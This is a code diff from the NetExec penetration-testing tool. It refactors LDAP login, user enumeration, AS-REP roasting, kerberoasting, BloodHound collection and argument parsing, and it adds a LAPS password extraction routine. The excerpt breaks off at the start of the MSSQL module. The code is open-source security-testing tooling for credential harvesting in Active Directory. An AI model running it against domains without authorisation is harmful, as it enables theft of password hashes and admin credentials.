+            self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
             return False
 
     def hash_login(self, domain, username, ntlm_hash):
@@ -566,25 +534,25 @@ class ldap(connection):
             if hash_tgt:
                 self.logger.highlight(f"{hash_tgt}")
                 with open(self.args.asreproast, "a+") as hash_asreproast:
-                    hash_asreproast.write(hash_tgt + "\n")
+                    hash_asreproast.write(f"{hash_tgt}\n")
             return False
 
         try:
             # Connect to LDAP
+            self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
+            self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
             proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
             ldaps_url = f"{proto}://{self.target}"
-            self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN}")
-            self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
+            self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
+            self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
             self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
             self.check_if_admin()
 
             # Prepare success credential text
             out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
-            self.logger.extra["protocol"] = "LDAP"
-            self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
             self.logger.success(out)
 
-            if not self.args.local_auth:
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(self.username, self.domain, self.logger, self.config)
             if self.admin_privs:
                 add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -593,25 +561,19 @@ class ldap(connection):
             if str(e).find("strongerAuthRequired") >= 0:
                 try:
                     # We need to try SSL
+                    self.logger.extra["protocol"] = "LDAPS"
+                    self.logger.extra["port"] = "636"
                     ldaps_url = f"{proto}://{self.target}"
-                    self.logger.debug(f"Connecting to {ldaps_url} - {self.baseDN}")
-                    self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
-                    self.ldapConnection.login(
-                        self.username,
-                        self.password,
-                        self.domain,
-                        self.lmhash,
-                        self.nthash,
-                    )
+                    self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
+                    self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
+                    self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
                     self.check_if_admin()
 
                     # Prepare success credential text
                     out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
-                    self.logger.extra["protocol"] = "LDAPS"
-                    self.logger.extra["port"] = "636"
                     self.logger.success(out)
 
-                    if not self.args.local_auth:
+                    if not self.args.local_auth and self.username != "":
                         add_user_bh(self.username, self.domain, self.logger, self.config)
                     if self.admin_privs:
                         add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -619,18 +581,21 @@ class ldap(connection):
                 except ldap_impacket.LDAPSessionError as e:
                     error_code = str(e).split()[-2][:-1]
                     self.logger.fail(
-                        f"{self.domain}\\{self.username}:{nthash if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
+                        f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
                         color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
                     )
+                    self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
             else:
                 error_code = str(e).split()[-2][:-1]
                 self.logger.fail(
-                    f"{self.domain}\\{self.username}:{nthash if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
+                    f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
                     color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
                 )
+                if proto == "ldaps":
+                    self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
             return False
         except OSError as e:
-            self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
+            self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
             return False
 
     def create_smbv1_conn(self):
@@ -695,7 +660,7 @@ class ldap(connection):
         attributes = ["objectSid"]
         resp = self.search(search_filter, attributes, sizeLimit=0)
         answers = []
-        if resp and self.password != "" and self.username != "":
+        if resp and (self.password != "" or self.lmhash != "" or self.nthash != "") and self.username != "":
             for attribute in resp[0][1]:
                 if str(attribute["type"]) == "objectSid":
                     sid = self.sid_to_str(attribute["vals"][0])
@@ -753,37 +718,54 @@ class ldap(connection):
         return False
 
     def users(self):
-        # Building the search filter
-        search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
-        attributes = [
-            "sAMAccountName",
-            "description",
-            "badPasswordTime",
-            "badPwdCount",
-            "pwdLastSet",
-        ]
+        """
+        Retrieves user information from the LDAP server.
+
+        Args:
+        ----
+            input_attributes (list): Optional. List of attributes to retrieve for each user.
+
+        Returns:
+        -------
+            None
+        """
+        if len(self.args.users) > 0:
+            self.logger.debug(f"Dumping users: {', '.join(self.args.users)}")
+            search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})"
+        else:
+            self.logger.debug("Trying to dump all users")
+            search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
+
+        # default to these attributes to mirror the SMB --users functionality
+        request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"]
+        resp = self.search(search_filter, request_attributes, sizeLimit=0)
 
-        resp = self.search(search_filter, attributes, sizeLimit=0)
         if resp:
-            self.logger.display(f"Total of records returned {len(resp):d}")
-            for item in resp:
-                if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
-                    continue
-                sAMAccountName = ""
-                description = ""
-                try:
-                    if self.username == "":
-                        self.logger.highlight(f"{item['objectName']}")
-                    else:
-                        for attribute in item["attributes"]:
-                            if str(attribute["type"]) == "sAMAccountName":
-                                sAMAccountName = str(attribute["vals"][0])
-                            elif str(attribute["type"]) == "description":
-                                description = str(attribute["vals"][0])
-                        self.logger.highlight(f"{sAMAccountName:<30} {description}")
-                except Exception as e:
-                    self.logger.debug(f"Skipping item, cannot process due to error {e}")
-            return
+            # I think this was here for anonymous ldap bindings, so I kept it, but we might just want to remove it
+            if self.username == "":
+                self.logger.display(f"Total records returned: {len(resp):d}")
+                for item in resp:
+                    if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+                        continue
+                    self.logger.highlight(f"{item['objectName']}")
+                return
+
+            users = parse_result_attributes(resp)
+            # we print the total records after we parse the results since often SearchResultReferences are returned
+            self.logger.display(f"Total records returned: {len(users):d}")
+            self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
+            for user in users:
+                # TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module
+                parsed_pw_last_set = ""
+                pwd_last_set = user.get("pwdLastSet", "")
+                if pwd_last_set != "":
+                    timestamp_seconds = int(pwd_last_set) / 10**7
+                    start_date = datetime(1601, 1, 1)
+                    parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
+                    if parsed_pw_last_set == "1601-01-01 00:00:00":
+                        parsed_pw_last_set = "<never>"
+                # we default attributes to blank strings if they don't exist in the dict
+                self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}")
 
     def groups(self):
         # Building the search filter
@@ -832,32 +814,74 @@ class ldap(connection):
                 self.logger.fail(f"Skipping item, cannot process due to error {e}")
 
     def active_users(self):
-        # Building the search filter
-        search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
-        attributes = ["sAMAccountName", "userAccountControl"]
+        if len(self.args.active_users) > 0:
+            arg = True
+            self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}")
+            search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
+            search_filter_args = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})"
+        else:
+            arg = False
+            self.logger.debug("Trying to dump all users")
+            search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
 
-        resp = self.search(search_filter, attributes, sizeLimit=0)
-        if resp:
-            for item in resp:
+        # default to these attributes to mirror the SMB --users functionality
+        request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"]
+        resp = self.search(search_filter, request_attributes, sizeLimit=0)
+        allusers = parse_result_attributes(resp)
+
+        count = 0
+        activeusers = []
+        argsusers = []
+
+        if arg:
+            resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0)
+            users_args = parse_result_attributes(resp_args)
+            # This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing
+            for i in range(len(self.args.active_users)):
+                try:
+                    argsusers.append(users_args[i])
+                except Exception as e:
+                    self.logger.debug("Exception:", exc_info=True)
+                    self.logger.debug(f"Skipping item, cannot process due to error {e}")
+        else:
+            argsusers = allusers
+
+        for user in allusers:
+            user_account_control = user.get("userAccountControl")
+            if user_account_control is not None:  # Check if user_account_control is not None
+                account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control  # If it's already a list
+                account_disabled = int(account_control) & 2
+                if not account_disabled:
+                    count += 1
+                    activeusers.append(user.get("sAMAccountName").lower())
+            else:
+                self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None")
+
+        if self.username == "":
+            self.logger.display(f"Total records returned: {len(resp):d}")
+            for item in resp_args:
                 if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
                     continue
-                sAMAccountName = ""
-                userAccountControl = ""
-                try:
-                    if self.username == "":
-                        self.logger.highlight(f"{item['objectName']}")
-                    else:
-                        for attribute in item["attributes"]:
-                            if str(attribute["type"]) == "sAMAccountName":
-                                sAMAccountName = str(attribute["vals"][0])
-                            elif str(attribute["type"]) == "userAccountControl":
-                                userAccountControl = int(attribute["vals"][0])
-                                account_disabled = userAccountControl & 2
-                        if not account_disabled: 
-                            self.logger.highlight(f"{sAMAccountName}")
-                except Exception as e:
-                    self.logger.debug(f"Skipping item, cannot process due to error {e}")
+                self.logger.highlight(f"{item['objectName']}")
             return
+        self.logger.display(f"Total records returned: {count}, total {len(allusers) - count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - count:d} user(s) disabled")
+        self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
+
+        for arguser in argsusers:
+            pwd_last_set = arguser.get("pwdLastSet", "")  # Retrieves pwdLastSet directly and defaults to an empty string.
+            if pwd_last_set:  # Checks if pwdLastSet is empty or not.
+                timestamp_seconds = int(pwd_last_set) / 10**7  # Converts pwdLastSet to an integer.
+                start_date = datetime(1601, 1, 1)
+                parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
+                if parsed_pw_last_set == "1601-01-01 00:00:00":
+                    parsed_pw_last_set = "<never>"
+
+            if arguser.get("sAMAccountName").lower() in activeusers and arg is False:
+                self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
+            elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True:
+                self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
+            elif (arguser.get("sAMAccountName").lower() in activeusers):
+                self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
 
     def asreproast(self):
         if self.password == "" and self.nthash == "" and self.kerberos is False:
@@ -872,7 +896,7 @@ class ldap(connection):
             "lastLogon",
         ]
         resp = self.search(search_filter, attributes, 0)
-        if resp == []:
+        if resp is None:
             self.logger.highlight("No entries found!")
         elif resp:
             answers = []
@@ -916,10 +940,10 @@ class ldap(connection):
             if len(answers) > 0:
                 for user in answers:
                     hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0])
-                    hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0])
-                    self.logger.highlight(f"{hash_TGT}")
-                    with open(self.args.asreproast, "a+") as hash_asreproast:
-                        hash_asreproast.write(hash_TGT + "\n")
+                    if hash_TGT:
+                        self.logger.highlight(f"{hash_TGT}")
+                        with open(self.args.asreproast, "a+") as hash_asreproast:
+                            hash_asreproast.write(f"{hash_TGT}\n")
                 return True
             else:
                 self.logger.highlight("No entries found!")
@@ -928,7 +952,7 @@ class ldap(connection):
 
     def kerberoasting(self):
         # Building the search filter
-        searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
+        searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))"
         attributes = [
             "servicePrincipalName",
             "sAMAccountName",
@@ -979,7 +1003,7 @@ class ldap(connection):
 
                     if mustCommit is True:
                         if int(userAccountControl) & UF_ACCOUNTDISABLE:
-                            self.logger.debug(f"Bypassing disabled account {sAMAccountName} ")
+                            self.logger.highlight(f"Bypassing disabled account {sAMAccountName} ")
                         else:
                             answers += [[spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation] for spn in SPNs]
                 except Exception as e:
@@ -1031,6 +1055,36 @@ class ldap(connection):
                 self.logger.highlight("No entries found!")
         self.logger.fail("Error with the LDAP account used")
 
+    def query(self):
+        """
+        Query the LDAP server with the specified filter and attributes.
+        Example usage:
+            --query "(sAMAccountName=Administrator)" "sAMAccountName pwdLastSet memberOf"
+        """
+        search_filter = self.args.query[0]
+        attributes = [attr.strip() for attr in self.args.query[1].split(" ")]
+        if len(attributes) == 1 and attributes[0] == "":
+            attributes = None
+        if not search_filter:
+            self.logger.fail("No filter specified")
+            return
+        self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}")
+        try:
+            resp = self.search(search_filter, attributes, 0)
+        except LDAPFilterSyntaxError as e:
+            self.logger.fail(f"LDAP Filter Syntax Error: {e}")
+            return
+        for item in resp:
+            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+                continue
+            self.logger.success(f"Response for object: {item['objectName']}")
+            for attribute in item["attributes"]:
+                attr = f"{attribute['type']}:"
+                vals = str(attribute["vals"]).replace("\n", "")
+                if "SetOf: " in vals:
+                    vals = vals.replace("SetOf: ", "")
+                self.logger.highlight(f"{attr:<20} {vals}")
+
     def trusted_for_delegation(self):
         # Building the search filter
         searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
@@ -1348,9 +1402,9 @@ class ldap(connection):
         ad = AD(
             auth=auth,
             domain=self.domain,
-            nameserver=self.args.nameserver,
-            dns_tcp=False,
-            dns_timeout=3,
+            nameserver=self.args.dns_server,
+            dns_tcp=self.args.dns_tcp,
+            dns_timeout=self.args.dns_timeout,
         )
         collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection)
         if not collect:
@@ -1375,15 +1429,18 @@ class ldap(connection):
             num_workers=10,
             disable_pooling=False,
             timestamp=timestamp,
+            fileNamePrefix=self.output_filename.split("/")[-1],
             computerfile=None,
             cachefile=None,
             exclude_dcs=False,
         )
 
+        self.output_filename += f"_{timestamp}"
+
         self.logger.highlight(f"Compressing output into {self.output_filename}bloodhound.zip")
         list_of_files = os.listdir(os.getcwd())
         with ZipFile(self.output_filename + "bloodhound.zip", "w") as z:
             for each_file in list_of_files:
-                if each_file.startswith(timestamp) and each_file.endswith("json"):
+                if each_file.startswith(self.output_filename.split("/")[-1]) and each_file.endswith("json"):
                     z.write(each_file)
                     os.remove(each_file)

nxc/protocols/ldap/bloodhound.py

@@ -44,17 +44,7 @@ class BloodHound:
         # Create an object resolver
         self.ad.create_objectresolver(self.pdc)
 
-
-    def run(
-        self,
-        collect,
-        num_workers=10,
-        disable_pooling=False,
-        timestamp="",
-        computerfile="",
-        cachefile=None,
-        exclude_dcs=False,
-    ):
+    def run(self, collect, num_workers=10, disable_pooling=False, timestamp="", fileNamePrefix="", computerfile="", cachefile=None, exclude_dcs=False):
         start_time = time.time()
         if cachefile:
             self.ad.load_cachefile(cachefile)
@@ -82,7 +72,7 @@ class BloodHound:
             )
             # Initialize enumerator
             membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
-            membership_enum.enumerate_memberships(timestamp=timestamp)
+            membership_enum.enumerate_memberships(timestamp=timestamp, fileNamePrefix=fileNamePrefix)
         elif "container" in collect:
             # Fetch domains for later, computers if needed
             self.pdc.prefetch_info(
@@ -92,7 +82,7 @@ class BloodHound:
             )
             # Initialize enumerator
             membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
-            membership_enum.do_container_collection(timestamp=timestamp)
+            membership_enum.do_container_collection(timestamp=timestamp, fileNamePrefix=fileNamePrefix)
         elif do_computer_enum:
             # We need to know which computers to query regardless
             # We also need the domains to have a mapping from NETBIOS -> FQDN for local admins
@@ -102,7 +92,7 @@ class BloodHound:
             self.pdc.get_domains("acl" in collect)
         if "trusts" in collect or "acl" in collect or "objectprops" in collect:
             trusts_enum = DomainEnumerator(self.ad, self.pdc)
-            trusts_enum.dump_domain(collect, timestamp=timestamp)
+            trusts_enum.dump_domain(collect, timestamp=timestamp, fileNamePrefix=fileNamePrefix)
         if do_computer_enum:
             # If we don't have a GC server, don't use it for deconflictation
             have_gc = len(self.ad.gcs()) > 0
@@ -114,7 +104,7 @@ class BloodHound:
                 computerfile=computerfile,
                 exclude_dcs=exclude_dcs,
             )
-            computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp)
+            computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp, fileNamePrefix=fileNamePrefix)
         end_time = time.time()
         minutes, seconds = divmod(int(end_time - start_time), 60)
         self.logger.highlight("Done in %02dM %02dS" % (minutes, seconds))

nxc/protocols/ldap/database.py

@@ -54,7 +54,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )

nxc/protocols/ldap/kerberos.py

@@ -1,18 +1,18 @@
 import random
 from binascii import hexlify, unhexlify
 from datetime import datetime, timedelta
+import traceback
+try:
+    # This is only available in python >= 3.11
+    # if we are in a lower version, we will use the deprecated utcnow() method
+    from datetime import UTC
+    utc_failed = False
+except ImportError:
+    utc_failed = True
 from os import getenv
 
 from impacket.krb5 import constants
-from impacket.krb5.asn1 import (
-    TGS_REP,
-    AS_REQ,
-    KERB_PA_PAC_REQUEST,
-    KRB_ERROR,
-    AS_REP,
-    seq_set,
-    seq_set_iter,
-)
+from impacket.krb5.asn1 import TGS_REP, AS_REQ, AS_REP, KERB_PA_PAC_REQUEST, KRB_ERROR, seq_set, seq_set_iter
 from impacket.krb5.ccache import CCache
 from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT
 from impacket.krb5.types import KerberosTime, Principal
@@ -211,7 +211,8 @@ class KerberosAttacks:
             return None
 
         req_body["realm"] = domain
-        now = datetime.utcnow() + timedelta(days=1)
+        # When we drop python 3.10 support utcnow() can be removed, as it is deprecated
+        now = datetime.utcnow() + timedelta(days=1) if utc_failed else datetime.now(UTC) + timedelta(days=1)
         req_body["till"] = KerberosTime.to_asn1(now)
         req_body["rtime"] = KerberosTime.to_asn1(now)
         req_body["nonce"] = random.getrandbits(31)
@@ -235,10 +236,11 @@ class KerberosAttacks:
                 message = encoder.encode(as_req)
                 r = sendReceive(message, domain, self.kdcHost)
             elif e.getErrorCode() == constants.ErrorCodes.KDC_ERR_KEY_EXPIRED.value:
-                return "Password of user " + userName + " expired but user doesn't require pre-auth"
+                return f"Password of user {userName} expired but user doesn't require pre-auth"
             else:
-                nxc_logger.debug(e)
-                return False
+                nxc_logger.fail(e)
+                nxc_logger.debug(traceback.format_exc())
+                return None
 
         # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
         # 'Do not require Kerberos preauthentication' set

nxc/protocols/ldap/laps.py

@@ -1,3 +1,6 @@
+import binascii
+import hashlib
+from json import loads
 from pyasn1.codec.der import decoder
 from pyasn1_modules import rfc5652
 
@@ -258,3 +261,106 @@ class LAPSv2Extract:
         plaintext = decrypt_plaintext(cek, iv, remaining)
         self.logger.info(plaintext[:-18].decode("utf-16le"))
         return plaintext[:-18].decode("utf-16le")
+
+
+def laps_search(self, username, password, cred_type, domain):
+    prev_protocol = self.logger.extra["protocol"]
+    prev_port = self.logger.extra["port"]
+    self.logger.extra["protocol"] = "LDAP"
+    self.logger.extra["port"] = "389"
+
+    ldapco = LDAPConnect(self.domain, "389", self.domain)
+
+    if self.kerberos:
+        if self.kdcHost is None:
+            self.logger.fail("Add --kdcHost parameter to use laps with kerberos")
+            return None, None, None, None
+
+        connection = ldapco.kerberos_login(
+            domain[0],
+            username[0] if username else "",
+            password[0] if cred_type[0] == "plaintext" else "",
+            password[0] if cred_type[0] == "hash" else "",
+            kdcHost=self.kdcHost,
+            aesKey=self.aesKey,
+        )
+    else:
+        connection = ldapco.auth_login(
+            domain[0],
+            username[0] if username else "",
+            password[0] if cred_type[0] == "plaintext" else "",
+            password[0] if cred_type[0] == "hash" else "",
+        )
+    if not connection:
+        self.logger.fail(f"LDAP connection failed with account {username[0]}")
+
+        return None, None, None, None
+
+    search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))"
+    attributes = [
+        "msLAPS-EncryptedPassword",
+        "msLAPS-Password",
+        "ms-MCS-AdmPwd",
+        "sAMAccountName",
+    ]
+    results = connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
+
+    msMCSAdmPwd = ""
+    sAMAccountName = ""
+    username_laps = ""
+
+    from impacket.ldap import ldapasn1 as ldapasn1_impacket
+
+    results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
+    if len(results) != 0:
+        for host in results:
+            values = {str(attr["type"]).lower(): attr["vals"][0] for attr in host["attributes"]}
+            if "mslaps-encryptedpassword" in values:
+                msMCSAdmPwd = values["mslaps-encryptedpassword"]
+                d = LAPSv2Extract(
+                    bytes(msMCSAdmPwd),
+                    username[0] if username else "",
+                    password[0] if cred_type[0] == "plaintext" else "",
+                    domain[0],
+                    password[0] if cred_type[0] == "hash" else "",
+                    self.kerberos,
+                    self.kdcHost,
+                    339
+                )
+                try:
+                    data = d.run()
+                except Exception as e:
+                    self.logger.fail(str(e))
+                    return None, None, None, None
+                r = loads(data)
+                msMCSAdmPwd = r["p"]
+                username_laps = r["n"]
+            elif "mslaps-password" in values:
+                r = loads(str(values["mslaps-password"]))
+                msMCSAdmPwd = r["p"]
+                username_laps = r["n"]
+            elif "ms-mcs-admpwd" in values:
+                msMCSAdmPwd = str(values["ms-mcs-admpwd"])
+            else:
+                self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password")
+        self.logger.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
+    else:
+        self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
+        return None, None, None, None
+
+    if msMCSAdmPwd == "":
+        self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
+        return None, None, None, None
+
+    hash_ntlm = None
+    if cred_type[0] == "hash":
+        hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
+        hash_ntlm = binascii.hexlify(hash_ntlm).decode()
+
+    username = username_laps if username_laps else self.args.laps
+    password = msMCSAdmPwd
+    domain = self.hostname
+    self.args.local_auth = True
+    self.logger.extra["protocol"] = prev_protocol
+    self.logger.extra["port"] = prev_port
+    return username, password, domain, hash_ntlm

nxc/protocols/ldap/proto_args.py

@@ -1,30 +1,30 @@
-from argparse import _StoreTrueAction
+from nxc.helpers.args import DisplayDefaultsNotNone
 
 
-def proto_args(parser, std_parser, module_parser):
-    ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=[std_parser, module_parser])
+def proto_args(parser, parents):
+    ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=parents, formatter_class=DisplayDefaultsNotNone)
     ldap_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
-    ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)")
-    no_smb_arg = ldap_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help="No smb connection")
+    ldap_parser.add_argument("--port", type=int, default=389, help="LDAP port")
+    ldap_parser.add_argument("--no-smb", action="store_true", help="No smb connection")
 
     dgroup = ldap_parser.add_mutually_exclusive_group()
-    domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
+    dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
     dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
-    no_smb_arg.make_required = [domain_arg]
 
     egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
     egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
     egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file")
 
     vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos")
+    vgroup.add_argument("--query", nargs=2, help="Query LDAP with a custom filter and attributes")
     vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
     vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD")
     vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
-    vgroup.add_argument("--users", action="store_true", help="Enumerate enabled domain users")
+    vgroup.add_argument("--users", nargs="*", help="Enumerate enabled domain users")
     vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups")
     vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers")
     vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
-    vgroup.add_argument("--active-users", action="store_true", help="Get Active Domain Users Accounts")
+    vgroup.add_argument("--active-users", nargs="*", help="Get Active Domain Users Accounts")
 
     ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa")
     ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords")
@@ -33,22 +33,6 @@ def proto_args(parser, std_parser, module_parser):
 
     bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhoud")
     bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan")
-    bgroup.add_argument("-ns", "--nameserver", help="Custom DNS IP")
-    bgroup.add_argument("-c", "--collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma. (default: Default)'")
+    bgroup.add_argument("-c", "--collection", default="Collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma")
 
     return parser
-
-
-def get_conditional_action(baseAction):
-    class ConditionalAction(baseAction):
-        def __init__(self, option_strings, dest, **kwargs):
-            x = kwargs.pop("make_required", [])
-            super().__init__(option_strings, dest, **kwargs)
-            self.make_required = x
-
-        def __call__(self, parser, namespace, values, option_string=None):
-            for x in self.make_required:
-                x.required = True
-            super().__call__(parser, namespace, values, option_string)
-
-    return ConditionalAction

nxc/protocols/mssql.py

@@ -1,15 +1,20 @@
 import os
+import random
+import socket
+import contextlib
+from io import StringIO
 
 from nxc.config import process_secret
 from nxc.connection import connection
 from nxc.connection import requires_admin
 from nxc.logger import NXCAdapter
-from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
 from nxc.helpers.bloodhound import add_user_bh
+from nxc.helpers.ntlm_parser import parse_challenge
 from nxc.helpers.powershell import create_ps_command
-from impacket import tds
+from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
+
+from impacket import tds, ntlm
 from impacket.krb5.ccache import CCache
-from impacket.smbconnection import SMBConnection, SessionError
 from impacket.tds import (
     SQLErrorException,
     TDS_LOGINACK_TOKEN,
